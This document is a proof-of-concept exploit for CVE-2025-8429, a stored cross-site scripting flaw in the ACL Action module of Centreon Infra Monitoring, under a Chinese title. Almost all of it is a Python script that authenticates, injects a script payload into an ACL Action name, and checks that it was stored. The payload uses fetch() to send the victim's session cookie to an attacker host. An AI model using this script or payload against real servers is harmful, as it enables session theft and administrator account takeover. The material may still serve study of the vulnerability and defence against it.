CVE-2025-8429 Centreon Infra Monitoring ACL模块存储型XSS漏洞

# CVE-2025-8429 - Centreon Infra Monitoring ACL Module Stored XSS PoC # This PoC demonstrates the stored XSS vulnerability in ACL Action access configuration modules import requests from bs4 import BeautifulSoup # Target Centreon server configuration TARGET_URL = "https://target-centreon-server.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to Centreon session = requests.Session() login_url = f"{TARGET_URL}/centreon/api/latest/login" login_data = { "security": { "credentials": { "login": USERNAME, "password": PASSWORD } } } response = session.post(login_url, json=login_data, verify=False) print(f"[*] Login response status: {response.status_code}") # Step 2: Inject malicious XSS payload into ACL Action configuration # The payload will steal session cookies when executed in victim's browser xss_payload = "<script>fetch('https://attacker-server.com/steal?cookie='+document.cookie)</script>" acl_action_url = f"{TARGET_URL}/centreon/api/latest/configuration/acl/action" acl_data = { "name": xss_payload, "description": "Legitimate looking description", "acl_group": {"id": 1}, "actions": [{"id": 1}] } response = session.post(acl_action_url, json=acl_data, verify=False) print(f"[*] XSS payload injection status: {response.status_code}") # Step 3: Verify the payload was stored response = session.get(acl_action_url, verify=False) if xss_payload in response.text: print("[+] XSS payload successfully stored in ACL Action configuration") print("[+] When admin views the ACL configuration page, the script will execute") # Note: This vulnerability requires elevated privileges (PR:H) # The injected script will execute in the context of any user viewing the ACL Action page